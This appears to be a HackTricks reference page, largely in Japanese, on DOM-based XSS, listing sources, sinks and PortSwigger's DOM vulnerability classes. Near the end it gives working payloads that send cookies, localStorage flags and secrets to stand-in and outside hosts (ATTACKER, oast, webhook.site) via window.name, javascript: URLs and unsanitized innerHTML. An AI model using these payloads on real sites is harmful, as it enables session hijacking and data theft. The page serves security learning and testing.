DOM XSS

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

DOMの脆弱性

DOMの脆弱性は、攻撃者が制御するsources(例: location.searchdocument.referrerdocument.cookie)からのデータが安全でない方法でsinksに渡されると発生します。Sinksは、悪意のあるデータが与えられた際に実行やレンダリングによって有害な内容を発生させる可能性のある関数やオブジェクト(例: eval()document.body.innerHTML)です。

  • Sources は攻撃者が操作できる入力で、URLs、cookies、web messages などが含まれます。
  • Sinks は、悪意あるデータがスクリプト実行のような悪影響を引き起こす可能性のある、潜在的に危険なエンドポイントです。

リスクは、データが適切な検証やサニタイズなしにsourceからsinkへ流れるときに生じ、XSSのような攻撃を可能にします。

Tip

sourcesとsinksのより新しい一覧は次で確認できます https://github.com/wisec/domxsswiki/wiki

一般的な sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

この種類の XSS はおそらく発見が最も難しく、JS コードを詳しく読み、あなたが制御できる値を持つオブジェクトをスクリプトが使用しているかを確認し、その場合に任意の JS を実行するために悪用できる方法があるかを探す必要があります。

見つけるためのツール

Open Redirect

出典: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

任意のコード(例えば javascript:alert(1))を実行できることが重要である点に注意してください。リダイレクトが発生する URL の先頭部分を制御できる場合、そうした実行が可能になることがあります。

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation 脆弱性は、攻撃者が制御できるデータをスクリプトが cookie の値に組み込むときに発生します。 この脆弱性は、cookie がサイト内で利用されている場合にウェブページの予期しない動作を引き起こす可能性があります。 さらに、cookie がユーザーセッションの追跡に関与している場合、session fixation attack を実行するために悪用される可能性もあります。 この脆弱性に関連する主な sink は次のとおりです:

Sinks:

document.cookie

JavaScript Injection

From: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection vulnerabilities は、スクリプトが攻撃者によって制御可能なデータを JavaScript コードとして実行すると発生します。

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

出典: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities は、スクリプトが attacker が制御できるデータを使って document.domain プロパティを設定すると発生します。

document.domain プロパティはブラウザによる same-origin policy施行において重要な役割を果たします。異なるオリジンの2つのページが document.domain同じ値に設定すると、制限なく相互にやり取りできます。ブラウザは document.domain に代入できる値に一定の制限を課し、実際のページオリジンと全く無関係な値の代入を防ぎますが、例外があります。通常、ブラウザはchildparent domainsの使用を許可します。

Sinks:

document.domain

WebSocket-URL poisoning

出典: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning は、スクリプトが WebSocket 接続のターゲット URL として 制御可能なデータを使用する 場合に発生します。

シンク:

The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.

出典: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities は、スクリプトが現在のページ内のナビゲーションターゲット(クリック可能なリンクやフォームの送信先 URL など)に 攻撃者が制御可能なデータを書き込む 場合に発生します。

シンク:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities は、スクリプトが XmlHttpRequest オブジェクトを使用して送信される Ajax リクエストに 攻撃者が制御可能なデータを書き込む と発生します。

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities は、スクリプトが filename パラメータとして 攻撃者が制御可能なデータをファイル処理APIに渡す ときに発生します。攻撃者はこの脆弱性を悪用して、別のユーザーが訪れた場合に ユーザーのブラウザが任意のローカルファイルを開く、または書き込む 可能性のあるURLを構築できます。

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

出典: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities は、スクリプトが攻撃者が制御できるデータをクライアント側のSQLクエリに安全でない方法で組み込むときに発生します。

Sinks:

executeSql()

HTML5ストレージ操作

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities は、スクリプトが 攻撃者が制御できるデータをウェブブラウザのHTML5ストレージに保存するlocalStorage または sessionStorage)場合に発生します。 この操作自体が必ずしもセキュリティ脆弱性というわけではありませんが、アプリケーションがその後に保存されたデータを読み取り、安全でない方法で処理する場合に問題になります。 これにより、攻撃者はストレージ機構を利用して、cross-site scripting や JavaScript injection などの他の DOM-based 攻撃を実行できる可能性があります。

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

出典: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities は、スクリプトが attacker-controllable data into an XPath query を組み込むと発生します。

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

出典: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities は、スクリプトが 攻撃者が制御可能なデータを、JSON データ構造として解析され、その後アプリケーションによって処理される文字列に組み込む 場合に発生します。

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

出典: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities は、スクリプトがブラウザ内の別のドキュメントに対して、攻撃者が制御可能なデータを web message として送信すると発生します。脆弱な Web-message manipulation のは、PortSwigger’s Web Security Academy にあります。

Sinks:

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

出典: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities は、スクリプトが DOM 内のフィールドに攻撃者が制御可能なデータを書き込む 場合に発生します。これらのフィールドは表示される UI やクライアント側のロジックで利用されます。攻撃者はこの脆弱性を利用して URL を構築し、その URL を別のユーザーが訪れるとクライアント側 UI の外観や動作を変更することができます。

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

出典: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities は、スクリプトが attacker-controllable data unsafely to a problematic platform API を渡すと発生します。これには、呼び出されたときにユーザーのコンピュータが excessive amounts of CPU or disk space を消費してしまうような API が含まれます。こうした脆弱性は副作用が大きく、たとえばブラウザが localStorage への保存を拒否したり、長時間実行されるスクリプトを終了させたりしてウェブサイトの機能を制限することがあります。

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

暗黙のグローバルと window.name の悪用

name を宣言(var/let/const)なしで参照すると window.name に解決されます。window.name はクロスオリジンのナビゲーションをまたいで持続するため、攻撃者はブラウジングコンテキストの名前をHTML/JSで事前に埋め、後で被害者のコードにそれを信頼されたデータとしてレンダリングさせることができます:

  • 管理している名前付きコンテキストでターゲットを開く/ナビゲートする:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • または、細工したターゲット名で window.open を再利用する:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

アプリケーションが後で element.innerHTML = name(または同様の sink)をサニタイズせずに実行すると、攻撃者が制御する window.name の文字列がターゲットオリジンで実行され、DOM XSS を引き起こして同一オリジンのストレージへアクセスできるようになります。

管理者/自動化フロー: 事前にシードされたストレージ & javascript: ナビゲーション

自動化ボット(例: Playwright)は、内部ページを先に訪問して localStorage/cookies にシークレットを設定し、その後ユーザーが提供した URL に遷移することがよくあります。そのフロー内の任意の DOM XSS プリミティブ(window.name の悪用を含む)は、事前にシードされたシークレットを外部に持ち出すことができます:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

もし bot がスキームを制限しない場合、javascript: URL(javascript:fetch(...))を渡すと、新しいナビゲーションを発生させずに現在のオリジンで実行され、ストレージ値が直接 leak されます。

テンプレートリテラル innerHTML + 部分的なサニタイズのギャップ

一部のフィールドのみをサニタイズしつつ、それでも信頼できないフィールドを直接 innerHTML に埋め込むフロントエンドは、容易に悪用可能です。例:

fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});

If the un-sanitized field is stored server-side (e.g., bug report “details”), the payload becomes stored DOM XSS for any privileged viewer of the list. A simple payload such as <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> executes when an admin opens the page and exfiltrates their cookies.

未サニタイズのフィールドがサーバー側に保存されると(例:バグ報告の “details”)、ペイロードはリストを閲覧する権限を持つユーザーに対してstored DOM XSSになります。例えば <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> のような簡単なペイロードは admin がページを開いたときに実行され、その cookies を外部へ送信します。

When the app explicitly disables SESSION_COOKIE_HTTPONLY (e.g., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random secret_key prevents forging, but theft still works).

アプリが明示的に SESSION_COOKIE_HTTPONLY を無効にしている場合(例:Flask app.config['SESSION_COOKIE_HTTPONLY'] = False)、盗まれた cookie は起動ごとに signing secret がローテートしていても即座に admin の session を付与します(ランダムな secret_key によって forging は防げますが、盗難は有効です)。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする